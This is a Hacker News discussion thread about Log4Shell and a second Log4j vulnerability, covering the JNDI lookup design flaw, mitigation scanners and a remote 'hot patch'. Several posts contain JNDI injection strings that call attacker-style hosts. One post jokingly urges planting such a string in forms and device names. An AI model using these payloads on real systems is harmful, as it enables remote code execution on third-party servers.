Live data from Hacker News

Log4Shell update: second Log4j vulnerability published

lunasec.io

11–20 of 289 posts

Re: Log4Shell update: second Log4j vulnerability published

#11
post #8

Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.

Not the whole industry. There are plenty of people using Java on the daily who never touch log4j2.

Re: Log4Shell update: second Log4j vulnerability published

#12
According to https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered:

    String apiVersion = he.getRequestHeader("X-Api-Version");

    // This line triggers the RCE by logging the attacker-controlled HTTP header.
    // The attacker can set their X-Api-Version header to: ${jndi:ldap://attacker.com/a}
    log.info("Requested Api Version:{}", apiVersion);
But what is the bug in log4j that caused the vulnerability?

Anyone have a link to the relevant log4j code?

Re: Log4Shell update: second Log4j vulnerability published

#13
We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell.

${jndi:ldap://hotpatch.log4shell.com:1389/a}

If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly.

Source code is on GitHub here[0][1] if you want to host it yourself.

(This work is based on Logout4Shell[2], but we rewrote it to fix the bugs, make it work in more places, and also hosted it so that you don't have to muck with DNS and live server stuff.)

0: https://github.com/lunasec-io/lunasec/releases/

1: (Go source code) https://github.com/lunasec-io/lunasec/tree/master/tools/log4...

2: https://github.com/Cybereason/Logout4Shell

Re: Log4Shell update: second Log4j vulnerability published

#14
Their scanner linked from their Mitigation Guide didn't work for me at all. I scanned a bunch of ear, war, and jar files that have log4j 2.x in them and it didn't find any of them. I guess for the reason described here: https://github.com/lunasec-io/lunasec/issues/301

This is less than helpful if people use this and then believe they are safe.

Re: Log4Shell update: second Log4j vulnerability published

#15
post #11
post #8

Write simple software. The fact that log.Debug(someString) means someString is actually a format string in an elaborate domain-specific language instead of simple goddamned text is emblematic of the crisis the industry is in.

Not the whole industry. There are plenty of people using Java on the daily who never touch log4j2.

GP's point was broader than log4j. It's that we're all building our own spaghetti using a collection of libraries and frameworks all built with their own spaghetti.

By the time software gets to the SaaS end user, it's giant rope-sized spaghetti noodles knit together with spaghetti thread spun from spaghetti fibers.

Re: Log4Shell update: second Log4j vulnerability published

#16
post #5

My kids are tremendously disappointed that the Minecraft server is not coming back up in the near future.

From this thread, it sounds like the second vulnerability doesn't affect spigot or vanilla minecraft:

https://www.spigotmc.org/threads/spigot-security-releases-%E...

Also, mojang's update instructions:

https://www.minecraft.net/en-us/article/important-message--s...

Re: Log4Shell update: second Log4j vulnerability published

#17
This vulnerability seems much harder to exploit. I've just checked the services I'm in charge of and while there are a few uses of `${ctx:...}` in those codebases, the corresponding context values are all injected internally and not able to be manipulated by the user.

Re: Log4Shell update: second Log4j vulnerability published

#18
post #13

We also wrote a Log4Shell payload that will in-memory "hot patch" your server against Log4Shell. ${jndi:ldap://hotpatch.log4shell.com:1389/a} If you paste that into a vulnerable server (or even throw it into a log statement in your `main` function), that'll patch you against this until you can manage to update properly. Source code is on GitHub here[0][1] if you want to host it yourself. (This work is based on Logout…

How does the hot patch work?

Re: Log4Shell update: second Log4j vulnerability published

#19
post #12

According to https://www.lunasec.io/docs/blog/log4j-zero-day/ if you have this type of code where you log an attacker-specified string (in this case, the X-Api-Version header) then the vulnerability is triggered: String apiVersion = he.getRequestHeader("X-Api-Version"); // This line triggers the RCE by logging the attacker-controlled HTTP header. // The attacker can set their X-Api-Version header to: ${jndi:ldap://at…

Author here. It's not actually a "bug", per se. It's actually a (very misguided) feature!

Here it is in the docs: https://logging.apache.org/log4j/2.x/manual/lookups.html#Jnd...

> By default the JDNI Lookup only supports the java, ldap, and ldaps protocols or no protocol.

So that's where the LDAP portion comes from.

This would be perfectly fine if it could only be configured via code or some config file, but the problem is that log4j will interpolate _any_ string looking for `${jndi:foo}` regardless of who put it there. So... when an attacker can insert a JNDI lookup to an arbitrary server... you can see where this is going.

Specifically: JNDI lets you load code, also. And that's how the RCE for this works. (The BlackHat talk in the blog post you linked has more details)

Does that help?

Re: Log4Shell update: second Log4j vulnerability published

#20

This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).

Too much fun to think about the ways to get hits. All it takes is a simple string.

Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes.

Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits.

Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...

How about an official name change to the above? Anyone game?

Post reply on HN